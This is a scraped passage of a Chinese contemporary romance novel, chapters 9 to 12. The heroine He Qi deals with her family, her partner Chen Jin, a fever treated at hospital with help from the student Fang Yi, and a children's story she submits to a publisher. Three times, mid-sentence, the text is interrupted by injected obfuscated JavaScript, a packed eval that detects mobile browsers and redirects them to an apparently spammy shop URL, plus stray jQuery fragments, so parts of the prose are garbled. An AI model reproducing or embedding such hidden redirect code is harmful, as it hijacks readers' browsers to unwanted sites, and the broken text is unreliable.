方翊总算数完钱,几乎把总资产的一半都递了过去,但也不显心疼,反而认真地问何漆:“姐姐,交了过路费,我能顺利从你这儿经过了吗?” 何漆大方地冲他比了个ok的手势道:“放行。” 三人玩了四个多小时才渐渐分出胜负,方翊因为先前交给何漆的过路费而伤了元气,头一个破产,何漆开局买下的地产多,很快也把李家佳给熬走。 明天还得回江市,何漆已经有点晕晕乎乎的,看看时间觉得也差不多了,便问:“不然回家吧?” 两人都没意见,叫来侍应生结账。 这回万不能再叫方翊买单,因为李家佳今晚属实没喝什么,何漆说服了她,自己付了钱,然后把肩上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059434|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛毯礼貌归还。 方翊在一旁叫代驾:“我送你们回去。” 被俩人异口同声地拒绝,何漆道:“我和李家佳很不顺路的,自己打车反而方便,这么晚了你也早点回去。” 李家佳头点得像拨浪鼓,并火速在手机上打了车,向方翊展示。 何漆站起来,感觉喝多了,头重脚轻地踉跄了一下,打完车倚着李家佳往门口走。 李家佳的车到得很快,又只剩下何漆和方翊继续等。 直到方翊的代驾都到了,何漆的手机里还没来半个电话。 方翊问她:“姐姐,你的车还要多久?” 何漆也觉得奇怪,点开打车软件一看,才发现自己真是喝懵了——订单仍卡在支付页面,根本没发出去。 方翊个头高,虽然站得离她不算太近,但一低头还是把一切尽收眼底。 说不出是什么心情,但他觉得连老天都在帮他:“姐姐,还是我带你回去……” 方翊话到一半,就看见何漆手指在屏幕上利落地一点,将订单支付完成,页面跳转,显示司机两分钟后到达。 她抬起头来,清冷的面容浮现一个略显倦意的笑:“你快回去吧。” “那我陪你等车到……” 依旧是没等他说完,何漆无言朝他摆了摆手,“再见”的意味很明显。 被温温柔柔地泼了盆凉水,知道再耗下去反而会惹人心烦,于是同她道别:“那你上车了跟我说一声,或者跟家佳姐说一声。” 何漆闭着眼点点头,疲倦的笑意变得很淡很淡。 回到家已经是零点,何漆轻手轻脚地进了家门,一路摸黑扶着墙回了房间。 打开卧室的灯,入眼最明显的是桌上的那盘水果,盘子还是吃饭前徐燕送过来的那个盘子,里头的水果却不一样了。 切成片的苹果、橙子,洗干净的小番茄、阳光玫瑰,满满当当,只是苹果氧化得有些严重。 她酒喝得很撑,看见这些水果没有半分胃口,拿着果盘又走回客厅,把盘子轻轻放在餐桌上。 明明一点也不想吃,但不知为何,她站在黑蒙蒙的餐桌前,站了很久。 然后突然伸出手,拿起苹果塞进嘴里,接着是橙子、小番茄、葡萄。 最后吃得想吐,留了几个甜到发腻的阳光玫瑰,用纸巾擦了嘴,转身回卧室,睡了个不太踏实的觉。 第二天早上七点,何漆就已经收拾完行李,拎着包出了房门。 她静悄悄地在玄关处穿鞋,却听到主卧的方向传来微弱的开门声。 何漆下意识瞟去一眼,果然看到徐燕站在卧室门口,明明是在自己家里,站姿却透露出一种谨慎与窘迫,左手握着右臂,仿佛怯生生般望着她。 何漆低下头专心穿鞋,没有主动搭理。 在她离开之前,徐燕才小心开口:“这么早就走了?” “嗯。”何漆冷淡地应。 “哦,那你怎么回去?” “李家佳开车。” 徐燕点点头,反应过来她看不见,又说:“这样,那你们注意安全。” 何漆又“嗯”一声,已经伸手把门打开,握着行李包带的那只手却紧紧攥起来,忽然道:“桌上的碗帮我收拾一下,昨天太晚了,我没洗。” 徐燕愣了一瞬,扭头看到餐桌上的水果盘,随后忙不迭点头说“欸”,因为何漆背对着她看不见,所以抬手抹掉了眼底的泪花。 何漆迅速关门走人。 从老旧的楼梯一步步往下,她再次觉得他们这家人还是不能太亲近。 像是个诅咒。她明明努力地想要维持家庭的融洽,可一旦这种融洽给对方创造出“我已经对你够好了”的假象,他们就会理所应当地、用明知她讨厌的方式来打破这份虚假的和睦。 这时候何漆只能逃避,用逃避来冷却关系的热度,用逃避来告知这从来不是一个互相理解的家庭。 然后他们又会清醒过来,像刚刚那样,小心翼翼地和她保持距离,欺骗着她在下一次依旧心甘情愿地维持这份虚假的和睦。 何漆走出楼道,见到清晨的阳光,心想,多可悲。 10. 第 10 章 招摇的汽车停在楼道口,李家佳降下车窗,对刚走出来的何漆抛了个电力十足的媚眼。 何漆扯扯嘴角,不解风情地丢回去一个嫌弃的表情,把行李包放到后座,然后坐进副驾驶问:“你确定酒醒了?” “当然!”李家佳撩了把头发,信誓旦旦道,“出门前吹了好几次酒精检测仪,绝对安全。” 她边说边打着方向盘踩下油门,轿车灵活地从窄路里驶向主道。 何漆看向窗外,荒唐地笑起来:“家里备酒精检测仪,你很骄傲啊?” “怪谁?还不是我漆姐都快二十六了还不会开车?”李家佳不客气地回怼,又建议,“说认真的,你现在正好有时间,去把证考了呗。” 是的,何漆今年二十五岁,不开车的原因不是不爱开,而是压根不会开。 其实高考完的那个暑假父母就给她在驾校报了名,她虽然对考驾照没什么强烈的兴趣,但身边人都在这么做,父母愿意为她提供支持,她便也勤勤恳恳地听讲座、刷题过了科目一。 然而一到实操部分,状况就有些惨烈了。 她从学生时代起就是典型的试卷满分、实操零分的理论型选手,当初玩个显微镜就能把她难倒,头一回靠着别人的帮忙过了测试。 而到了驾校,她一握方向盘就头脑空白,什么“一踩二挂三转向,四鸣五放六手刹”,念起来倒是头头是道,但一上手就七零八落。 当时分配给她的教练还是个驾校里极其常见的臭脾气中年男子,她但凡有半点犹豫失误,那穿着臭烘烘衬衫的男人就开始在一旁大呼小叫,说话也不干不净,什么脏话都不忌讳。 何漆忍了他两天,等到第三天又被狗血淋头地辱骂时,她直接泪眼朦胧地摔车门走人。 何云平知道这个消息后,先是恨铁不成钢地将何漆数落了几句,话里话外都是心疼学费的意思,然后大张旗鼓地跑去驾校吵了一通,终是把学费拿回来一部分。 但从那以后,何漆就没想过要去再考驾照,况且她自己也没车,其他交通方式都挺方便,一拖就拖到了现在。 眼下又被李家佳冷不丁提起这茬,何漆也觉得老蹭别人车不是个办法,万一哪天真碰上点急事儿,只怕后悔也来不及。 她点点头道:“行,我回去看看驾校,这回找个女教练。” 两人又就着当年高考完的话题聊了会儿,车子开上高速,李家佳看何漆从上车开始就没摸过手机,问她:“你回江市怎么不见跟姐夫报备一声?” 何漆刚张嘴,就感觉鼻子一阵痒,抽了张纸,扭头轻打个喷嚏,缓过劲来才说:“报备什么?” 李家佳被她理所应当的反问噎住,从后视镜瞄她一眼,犯嘀咕:“就情侣之间做什么事都要通知一下对方的那种啊?你俩是在谈恋爱吗?” “我俩?”何漆想想,“过日子吧。” 话都递到了这儿,李家佳便把心里一直想说的话给问了出来:“你对陈津到底还有没有爱情?就那种激情你懂吧?难道你们刚在一起那会儿也这样?” 何漆和陈津显然都不是性格外放的人,谈个恋爱被李家佳评价为尼姑寺与和尚庙的联姻,但要回忆大学的那几年,虽然也没有多腻歪,可总归比现在的状况好些。 起码当时的何漆还有在仔细观察身边女生是如何谈恋爱的,并且积极学习与模仿。 李家佳听完她的解释,总结:“所以你就是对陈津感情淡了。” 何漆喉咙又犯痒,转头咳嗽了两声,玩笑似的警告:“你别在这节骨眼上瞎挑拨啊,我还得花他的钱呢。我要是这会儿被你点醒可怎么办,为了钱继续和他过?” “诶呀!没挑拨没挑拨!”李家佳扯着嗓子胡乱喊起来,“两个天造地设的性冷淡!锁死吧!” 何漆好笑又无语地揉了揉眉心,没打算跟她辨驳。 - 回到江市时已经是午饭时间,何漆起太早没什么胃口,早餐只喝了半杯豆浆,此刻走进家门,闻到餐厅里隐约传出来的饭菜香,顿时感到格外饥饿。 厨房的陈津听到玄关处传来动静,摘下围裙走出来,擦干手上的水,替她拿起丢在地上的行李包。 “进来洗手吃饭吧,正要给你打电话。”他说。 家里的拖鞋已经被陈津换成了棉的,何漆穿上她的那双,拖着脚步进了餐厅。 今天陈津亲自下厨,他厨艺很好,江市和宁市人口味又都差不多,不吃辣,偏甜口,所以一桌子都是何漆爱吃的菜。 陈津给她盛了饭,两人相对而坐,略显沉默地进食。 中途陈津问她:“下午我要去我爸妈那儿一趟,你去吗?” 何漆立即拨浪鼓式摇头。 陈津家是本地的高知家庭,他父母都是大学教授,门当户对,但感情状况极度微妙。 何漆犹记得陈津第一次带她见父母时四人吃的那一顿饭,几乎可以用鸦雀无声来形容。 除了刚见面时他父母对自己进行了礼节性的寒暄,接下来一个小时,他们就没再讲过一句话。 不止是陈父陈母对她,还有陈父陈母对陈津,甚至于陈父陈母之间,都没有半点交流。 他们不主动问话,陈津也不主动搭话,何漆更不擅长和长辈聊天,于是就这样如坐针毡、如芒在背地吃完了一整顿饭。 饭后,何漆以为自己多半是没被瞧上,对陈津怨气也很大,谁知陈父陈母却又对她客客气气地道了别。 她百思不得其解,态度难得恶劣地质问陈津,是不是他父母对自己不满意,他又为什么连半句话都不说。 不料陈津闻言同样疑惑地反问:“我父母为什么要对你不满意?” 那时何漆很茫然,但也第一次认识到,这世界上有太多千奇百怪的家庭,不止有像她这样的、像李家佳那样的,原来还有如陈津一般的。 何漆不能适应陈津一家的相处模式,而陈父陈母对陈津的伴侣也无半点好奇,因此他们见面与不见面的结果毫无差别,何漆觉得真是皆大欢喜,于是再没拜访过二老。 陈津预料到她会拒绝,点头表示知道,又说:“明天我要去广省出差,有个技术峰会,大概十号凌晨回来,你去广省玩吗?可以叫李家佳一起,去的话我现在订机酒。” 何漆觉得这提议不错,拿起手机给李家佳发消息,对面很快回复过来一个憨豆大哭的表情包。 「排课调不开,下次吧!」 何漆回复好,撇撇嘴放下手机,又侧头打了个喷嚏:“她没时间,说下次。” “感冒了?”陈津问。 “可能是昨天喝酒的时候着凉了。” 陈津吃饭快,这会儿把自己的碗筷收进厨房,又从客厅的药箱里找到感冒冲剂,泡好一杯慢慢走回来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059435|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他想起什么,问:“李家佳表弟最近经常跟你们一起?” 何漆闻言愣了愣,意识到他说的是方翊,不太自在地轻咳了一声:“没有经常吧,他在同大读书,也是宁市人,正好碰见两次。” 看着陈津端着烫手的杯子走回餐桌前,不知怎的,她忽然补充:“其实不是李家佳亲表弟,是她表弟的一个朋友。” 玻璃杯放下的瞬间,陈津失了力道,杯子和餐桌重重磕在一起,发出剧烈的声响,里头的冲剂也溅出星点。 何漆吓了一跳,陈津回过神来,平静地用纸巾把餐桌擦干净:“这样,你之前怎么没说?” 何漆想说方便,但又觉得这理由听起来站不住脚,毕竟直接说是表弟的朋友也没什么不方便的。 她也说不清自己究竟怎么想的,垂眼把碗里的饭吃完,含糊道:“差不多吧,李家佳也总叫他半个表弟什么的。” 陈津看着她,一时没再回话,沉默地把餐桌上的残羹收进厨房,然而他再次转身回到餐厅时,何漆已经拿着感冒冲剂回房间休息了。 下午陈津要去父母家,何漆则泡了个舒舒服服的热水澡,换了睡衣坐在床上看书。 她有计划地罗列了几本经典的儿童文学作品,决定近期要把它们看完,好从具体的书籍里了解儿童文学。 李秀兰确实给她泼了很大一盆冷水,但何漆认为拒绝她的也仅仅只是李秀兰,儿童文学还没有拒绝她。 她之前态度是不够严谨端正,因为时间紧迫而没有好好准备,她愿意立正挨打,但这件事是她想去做的,所以挨完打也不会轻易放弃。 侧边的窗帘只开了一小半,阳光把房间照得亮堂,何漆心无旁骛地捧着平板看起电子书。 入秋后天黑得一日比一日早。 何漆用一下午看完了《绿山墙的安妮》和《海蒂的爷爷》,心头仍有震撼与触动,一抬眼,才发现外面的天已经全黑了。 她放下手机,轻轻按了按疲惫发胀的眼睛,打开卧室门走出去,不料看见刚回家的陈津。 何漆打个哈欠,给自己倒杯水,随口道:“你回来了啊。” 陈津弯腰换鞋,问她:“吃过饭了吗?” “不太饿,吃了两片吐司。” “回来路过粥铺,给你带了酒酿芋圆。” 何漆眼睛亮了亮,立刻放下水杯,往玄关处走过来,伸手去勾陈津提着的保温袋。 手指勾到的刹那,陈津却突然起身吻过来,并收回袋子,妥善放在了一旁的柜面上。 何漆被吻得猝不及防,感受到陈津外套上带着寒意,还有他卷起自己睡衣下摆的手指的温度。 她浑身一颤,下意识弓起背想要远离,别过脸不再让他亲:“我要吃东西!” “等会儿。”陈津的手一路推着她的睡衣往上。 何漆因腹部的皮肤接触到冷空气而颤得更厉害,脖子却开始发烫,她往下扯自己的睡衣:“待会儿就冷了。” “我要的保温袋,冷了我再给你热。”陈津轻轻掐住她的腰,凑过去提出解决方案。 何漆被他捏得腿脚发软,这会儿也撩起点火。 她转回头,胸脯起伏的幅度越来越明显,定定地看着面前容貌英俊的男人,心想他们国庆也只能见上了今天这一面了。 于是不再说什么,由着对方纠缠上来。 11. 第 11 章 何漆一觉睡到大天亮,醒来时整个人还昏昏沉沉的,全身酸软乏力。 她从床上爬起来,呼吸不太通畅,揉着眼睛出了陈津的卧室,看到餐桌上放着早餐,昨晚只吃掉一半的酒酿芋圆也已经被收拾干净。 她脚步虚浮地回到自己的卧室,洗漱完还是觉得不舒服,躺回床上眯了个短短的回笼觉。 陈津已经去广省,接下来五天是完全的独居生活,何漆睡醒后又拉了长长的一条书单,几乎把所有叫得上名的经典儿童文学全列了出来。 她决定这五天什么也不干,就把这些书全啃下来,让经典之作启发自己。 不知是不是感冒了的缘故,何漆这几日胃口变得很不好,并且做什么都提不起兴趣,房间里的窗帘紧紧闭着,只捧着iPad没日没夜地看书。 直到胃部产生明显不适时,她才会给自己点份外卖,但因为鼻塞,也吃不出什么味道,通常只吃几口就放下,然后给自己冲杯感冒冲剂。 但药物似乎没起到太大的作用,她这回的病状来势汹汹,等到七号的深夜,何漆感到鼻腔内的每次呼吸都像是火苗窜动,她在炙烤中艰难转醒,意识到自己发烧了。 她浑身酸痛,支撑着自己在黑暗中坐起来,打开了房间的灯。 体温计放在客厅橱柜的药箱里,她坐在冰冷的瓷砖上,对着自己的耳内测量了一下体温,显示38.4摄氏度,药箱里又正好还备有退烧药,按照说明吞了一粒,随后没有告诉任何人,又慢吞吞地回了房间睡觉。 第二日白天睡醒后,何漆确实退了烧,还逼迫着自己多吃了几口东西,她以为这是转好的迹象,便没急着去医院,打算再观察观察。 直到凌晨两点,她又从旋转的梦中惊醒,跌跌撞撞地冲进卫生间吐了点清水,摸了摸自己滚烫的额头,意识到恐怕还是得去看医生。 38.9摄氏度,何漆看清体温计上的数字,把它扔回药箱,强撑着在自己房间里找社保卡。 她有段时间没去过医院了,这会儿脑袋昏昏沉沉,压根回忆不起自己之前把社保卡放在了哪儿,常见的位置寻了一圈,一无所获,她累得瘫在了沙发上。 盯着天花板出神几分钟,身体的不适难以忽略,头甚至开始隐隐作痛,何漆有点崩溃,拿手机拨打了陈津的电话。 电话铃响了几声对方才接通,熟睡被吵醒的男人发出沙哑的“喂”。 “我的社保卡在哪?”何漆直入话题。 “在我房间床头柜的第二层。”陈津那儿传来开灯的声音,他大概坐了起来,“你生病了?” “发烧。”何漆连说话的力气都快没了,轻飘飘捏着手机进了陈津的房间,一屁股坐在地上,拉开柜子寻找。 手机对面发出轻轻的“啧”声,似乎也颇为苦恼:“你先找,我给我爸妈打电话,看他们能不能过来。” 何漆没说话,听到电话挂断,一心一意翻着抽屉里的一个小盒子。 那盒子里整整齐齐地装着厚厚一摞卡,何漆奇怪他哪儿收集来的这么多五花八门的卡片,一张张翻看起来。 最前面几张是各个银行的储蓄卡和信用卡,后面有几张超市和零食连锁店的会员卡,再往后竟然还有美容美发美甲的卡,何漆想起是自己大学时期在学校旁边的几家店里办的,毕业后渐渐就不怎么去,她还以为这些卡早丢了,继续翻,还看到各种游乐园的充值卡。 何漆惊叹这些东西竟然都在陈津这儿妥善保管着,反正如果不是突然要用到,她绝对想不起来这些卡在哪儿。 翻到最后两张,便是两人的社保卡。 他俩的社保卡都没补办过,所以上头的照片也一直没换,还是差不多小学时期拍的,两人小时候都瘦,目光炯炯地盯着镜头,活像两只小猴子。 何漆看着好玩儿,咳嗽着笑起来,同时,一旁的手机又响起电话铃。 陈津打回来的,她接通,按了免提。 “你找到卡了吗?我爸妈没接电话,可能手机不在房间。”陈津语速很快,嗓音疲倦又急躁,透着股深深的无力。 何漆把自己的社保卡放进口袋,依旧坐在地上不想起身:“找到了,没事我自己打车吧,这么晚了你爸妈过来也要一会儿。” 陈津又问:“方便打给李家佳吗?你一个人不安全。” “我试试吧。”何漆说完挂了电话,先在打车软件上发起订单,然后给李家佳拨了个语音过去。 说实在的,何漆没抱什么希望,她知道李家佳有睡觉前给手机静音的习惯,有时候喝大了宿醉,在家里睡上一整天,她爸妈都不知道她还在不在国内。 铃声在空旷的房间里回响了很久,自动挂断前,对方竟然接听了。 何漆有点惊喜,但听到对面传来的嘈杂音乐后,心又凉了半截。 果不其然,李家佳用一听就喝多了的大舌头对着录音口喊:“何漆?怎么了?” 何漆长长叹了口气,一时不知道该不该说,反问:“你今天在外面喝酒啊?” “对啊!”李家佳扯着嗓子,怕对方听不清自己似的,“给学生上了四五天课,那简直是一帮小混蛋!” 何漆沉默了两秒,刚想开口,对面又道:“你怎么了?怎么这个点给我打电话?” 何漆退出去看了看打车软件,发现还没人接单,一时情绪上来,莫名有点委屈,抿了抿烧得干燥的唇:“好像有点发烧。” 李家佳听清,反应两秒,又想起陈津不在,骂了声“靠”,背景音更为嘈杂,似乎是她正从人群中脱身,找了个比刚刚清静得多的地方。 “能打到车吗?我看看有没有能去接你的朋友。” “暂时还没打到。” “不应该啊,虽然这个时间车是少,但你那儿应该还挺好打……”李家佳话到一半停了下来,诡异地沉默两秒,突然道,“方翊两分钟前发了个朋友圈。” 何漆愣了一会儿,如她所言点进朋友圈,看到方翊在两分钟前发的纯文字朋友圈,只有三个字:超刻苦。 大概是在熬夜完成学业上的事。 两人一时都没说话,何漆将手机扔在地板上,退出微信,盯着打车软件上的计时一分一秒的增加,雷达似的圆圈不断扫描扩散。 她自暴自弃地闭上眼,小声嘀咕:“去他爹的,烧死我得了。” 话落,又有电话打进来,何漆熟练地挂一个接一个。 陈津问:“李家佳怎么说?打到车了吗?” “她喝酒了,车还没打到。”何漆烦躁得有点想破坏什么东西,“我吃个药再睡会儿吧,明早再去医院。” “我叫下属来接你,可能要等一会儿。” 何漆不想再麻烦任何人,何况一个完全不认识的男朋友下属,她心有点烧,张嘴想要喝斥。 然而在她说话之前,顶端跳出一条微信提示。 方翊:「姐姐,我七分钟后能到。」 看清的瞬间,何漆整个人一滞,到嗓子眼的火气溃散,她突然无力地叹了口气:“不用了,打到车了。” 陈津那儿也猝不及防地顿了顿,他说:“好,你把车牌号发给我,跟我通着电话。” “是李家佳的朋友。”何漆说,“你休息吧,我给李家佳打个电话。” 陈津似乎还有话要说,然而何漆已经挂了他的通话。 “主要是同大离你那儿真的很近,就算打车也不会有他快,你现在这样肯定尽快去医院才好。” 听着李家佳在耳边小心试探地解释,何漆取消了打车软件的订单:“我知道,没事,不太想麻烦他而已,非亲非故的,年纪又那么小。” 李家佳“嗯”了一声,像是在分析她话里的含义:“这次太凑巧了,姐夫回来后得好好请人吃个饭。” 何漆又叹着气没说话,给方翊发消息。 「到小区后要在保安那儿登记一下,七号单元楼何漆,保安会给你带路。」 「好,那我到了再给你发消息。」 七分钟过去,何漆几乎烧糊涂了,裹着厚外套下楼,推开单元楼的门,寒风一吹,顿时咳嗽个没完。 门口停了辆打着双闪的奔驰,保安和方翊看见她,一左一右地帮着她挡风,护她上了车后座。 何漆闭眼坐着,浑浑噩噩地像是在梦里,嗓子都咳哑了,还不忘跟方翊道谢:“麻烦你了。” 方翊从后视镜看到她烧红的脸,担心地蹙了蹙眉:“姐姐,你累的话先躺着吧,我开得快点。” 等到医院时,何漆已经烧到了39度,看完急诊后得先去验血,方翊一直陪着,中途去给她买了个退烧贴。 验血结果出来已经将近三点,何漆还得输液,全部结束恐怕都要天亮,她不好意思让方翊再等,一边扎针一边劝道:“你先回去吧方翊,别耽误你上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059436|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课了,改天请你吃饭。” 方翊拎着她的输液袋找了个空位挂上,然后径直在一旁的座位上坐下:“不走,我明早没课。” “没课也该回去休息,这么晚了。” “那我就在这儿睡。”方翊直接闭上眼,一副赶不走的无赖样。 怎么说方翊也帮了她大忙,何漆本意不是想赶人,只是真的关心他,见他不肯走也就不多说什么,口袋里的手机这时候恰巧响了。 是陈津的电话,她在方翊旁边坐下,单手接通。 “怎么样了?”陈津问她,这会儿声音听起来很清醒。 “在医院输液。”何漆说,“你没睡?” “睡不着了,输液有人陪着吗?” “嗯。” “那你眯一会吧,叫人帮你盯着输液袋。” “好。” 何漆挂了电话,在一旁闭目养神的方翊突然问:“是姐姐的男朋友?” 方翊不止一次当面探听她的感情状况,但又因为时机正好,何漆没法对刚向自己伸出援手的人太过苛责。 她说:“是。” 方翊又问:“你们感情不错?” “挺好的。” “谈了很久吗?” 何漆脑袋还烧着,身体的不适让她情绪起伏异常,略感不耐地看他一眼,答非所问:“你今年十八?” 方翊不明所以地点头。 何漆了然:“我跟你一样大的时候就跟他在一起了。” 方翊因她的话语傻了一瞬,随后露出一种有点泄气,又有点愤愤的神情:“这么久了还没结婚?” “我是不婚主义。”何漆坦诚地答。 这是他们之间的新了解,方翊却没有继续这个话题。 他垂眸打开手机,像是在回谁的消息:“家佳姐一直在给我发微信,好像很不放心我陪着你。” 何漆心说她难道应该放心吗? 但面上平和:“她也一直给我发消息,担心我们而已,你是李乐一的朋友,她把你当半个表弟,怎么会不放心你。” 方翊关了手机,不再说话。 何漆乐得清静,困意上涌,没一会儿就昏睡过去。 醒来时外头的天已经亮了,何漆下意识抬手摸了摸脖子,体温正常,右手上的针头也已经拔了。 她扭过脸,看到方翊还在一旁坐着,双手抱胸,头一点一点,脱下来的外套盖在她的身上。 何漆刚睡醒,反应也有些慢,就这么看了片刻光景,怀疑方翊的脖子再点下去就要断了。 “方翊。”于是何漆轻轻叫醒他,把身前的外套还回去,“你还要再睡一会儿吗?” 方翊揉了揉眼睛,半眯着环视了一圈,想起自己在哪,打起精神:“姐姐你醒了,那我送你回去吧。” 何漆发自内心感谢方翊的帮忙,下车回家前再三跟他认真道谢,他却好像很不乐意的样子。 何漆也不知道该怎么办,只说下次请他吃饭,让他回去的路上注意安全。 “到学校了给我或者李家佳发个消息。” 直到听见这句话,方翊的脸色才有所好转:“知道了,姐姐你快上楼吧,外面风大。” 何漆点点头,转身离开。 然而她还没看到方翊向她报平安的消息,就先在自己的床上睡着了。 不知过了多久,竟又一次被热醒,何漆以为是自己反复发热,动了动身体,根本难以动弹。 各感官逐渐恢复,她察觉好像是有人紧紧抱着自己,猛地睁开眼,竟看到陈津的脸。 她拧了拧眉,怀疑自己睡了一整天,莫非已经是十号的早晨? “陈津?”她推了推躺在自己床上,把自己箍得密不透风的男人,“你怎么在家?” 陈津因她的动作转醒,双臂没松开:“不放心,提前回来了。” 何漆没料到是这样,扭了扭身子想换个睡姿:“有什么不放心的?在医院输过液都退烧了。” “嗯。”陈津半梦半醒地应声,“要好好谢谢李家佳的朋友,送什么表达谢意会比较好?香水?丝巾?” 何漆睡得也有些糊涂,想象了一下给方翊送这些东西的场面,下意识嫌弃他:“送女人的礼物干嘛?” 腰上圈着的手臂倏地收紧,何漆猛清醒过来。 陈津的声音清晰地在耳后震动:“不是女人?” 12. 第 12 章 何漆自认为无论昨晚那人是男是女她都坦荡,可坏就坏在还没来得及抢占先机,就因“说漏嘴”而遭到陈津的质问。 这种事情,主动报备和被迫逼问就如天壤之别。 她大脑停转片刻,明明连越界的心思都没存过,这会儿却莫名觉得心虚,也不知怎么想的,竟闭着眼假装没听见。 何漆的反应让陈津紧紧蹙了蹙眉,追问:“是男的?” 无言的沉默中,陈津的手一寸寸收紧,结实的小臂从何漆的后背缠至腰腹,隔着水光绸睡衣,那缓缓蠕动的感觉就像是一条蟒蛇在肌肤上爬过。 这是另一种形式的步步紧逼。 于是—— “是男的。” 在陈津的手指触及她腹部边缘时,何漆忽然睁开眼平静地回答,内心升起一种接近于恼羞成怒的情绪。 她知道这怒火来得没道理没底气,尽力克制着,全盘托出:“就是我上次跟你说过的,李家佳表弟的朋友,他在同大读书离得近,正好还醒着,就来帮忙了。” 事情的经过确实是这样,并且在此之前,何漆把能想的办法都想了个遍——打车软件里的所有车型全选了,李家佳的电话也打了,甚至看到方翊的朋友圈时她都打算视而不见,宁愿多烧一会儿。 所以有什么可心虚的?何漆问自己,迫不得已接受了一个异性朋友的善意帮助,有什么可疑? 她带着反问的气势抬眼,想以此斥责陈津的疑心,不曾想对上的却是一双略显落寞的眼睛。 那淋了水似的表情让何漆好不容易合理的火气一瞬又无处安放。 何漆不明白他是什么意思,为什么不说话,只用那种好像很脆弱的样子盯着自己。 她有点无措、有点慌乱、又有点羞愤,眼睫乱颤了两次,强硬地拽开陈津缠着她的手臂,一下从床上坐起来。 “你不用上班吗?”她迅速坐到床沿处,整理着自己睡乱的衣服领口,试图用平常的话题将他们拉回熟悉的模式。 “下午。”陈津配合地回答,又道,“你妈妈这两天有给我打电话。” “什么?”平地一声雷,何漆这回不加掩饰,转头用慌张又急切的语调问,“她给你打电话说什么?又在催婚?” 陈津侧躺着看她,像是安抚:“没有说那个,就关心我们感情如何。” 何漆紧皱着眉头:“那就是要催的铺垫。” 她满心烦躁地进卫生间洗漱,出来时看到陈津还躺在她的床上,想把睡衣换了,在衣柜里边挑边问:“你不回你房间睡吗?” 没等到回答,何漆直接脱了上衣,接着听到身后传来铺被子的响动,猜测大概是陈津起身了。 她整个人背对着床铺,套上一件面料软和的羊绒开衫,垂头将纽扣一颗颗从上往下系好,到最后一粒时,陈津走至门口,突然顿住脚步,回过身来问她:“他叫什么?” “什么?”最后一粒纽扣脱手,何漆下意识抬头看过去。 陈津重复:“那个帮忙的男生,叫什么名字。” “方翊。”何漆看着他,表情很平静,顺便将最底下的衣扣系上。 陈津点点头,不再说什么,转身回了自己卧室。 何漆则换好裤子,往书房走。 她这几天虽一直反反复复病着,但正事儿却一点没落下,书一本接着一本看,脑子里一直在构思新故事的雏形。 好不容易睡了个踏实觉,就像鼻炎患者突然痊愈,她这会儿觉得格外神清气爽,做什么事情都有动力。 何漆往旋转椅上一瘫,打开电脑文档,先将想法不加修饰地打下来。 这次不用动物做主角,她决定写一个小女孩的故事,一个富商家庭的独女,父母宠爱、生活富裕、受人羡慕,但却过于善良的女孩。 故事开头是富商决定搬家,要为新的屋子进行装修,请了有名的木匠来到家里,向他们展示不同装修风格的图纸,富商夫妇只选定了自己卧室的风格,然后让女孩挑喜欢的。 女孩满怀期待地将所有图纸仔细欣赏了一遍,对简约的蓝色风格最为满意,在决定之前,木匠忽然向她极力推荐起繁华的粉色风格。 他说这一片的女孩们都喜欢这个,他说所有女孩都对房间里的水晶吊灯赞不绝口,他说保准会让她满意。 女孩看着木匠胸有成竹的样子犹豫起来,她想,如果不选这个风格的话,木匠会感到失望吗?就像自己最骄傲的作品没有得到认可一样。 父母催促地问她是否满意,看着木匠期盼的眼神,女孩内心拉扯地点了点头。 然后是花匠来到了家里,带来了一院子的花束,问他们想在后花园种什么花,女孩钟情郁金香,却看到母亲多摆弄了几次百合花的花瓣,于是稚嫩的手指最终指向了百合花。 最后,有个宠物商带来了许多用来守护院落的家犬,女孩与其中一只活泼热情的小土狗玩闹得开心,想鼓起勇气让父亲买走它时,却看到父亲正对着一只血统纯正的猎犬发号施令,那猎犬训练有素,父亲笑容洋溢,招手问她这条猎犬如何,女孩看了眼在不远处追着自己的尾巴打转的小土狗,迟疑地点了点头。 故事的结尾,富商一家乔迁新居,女孩站在新家里,看着自己不喜欢的一切,忽然难以忍耐地流泪,富商夫妇无比诧异,问女儿:“为什么要哭泣,这一切不都是你想要,你选择的吗?” 女孩在眼泪中后悔醒悟,向父母倾诉了所有。 何漆决定给这位善良的女孩取名为“朱迪”,并在文档的题目处打下《朱迪的新家》。 这个故事写起来不算费劲,但因为没有时间限制,又顾念着上一篇文章的前车之鉴,何漆还是选择多打磨了几天,确定已经是她能做到的尽善尽美之后,才找到回声出版社公开的投稿邮箱,写上自己的信息进行发送。 投稿后邮箱里收到了自动回复,告知她若一个月内没有收到回复可以转投他社。 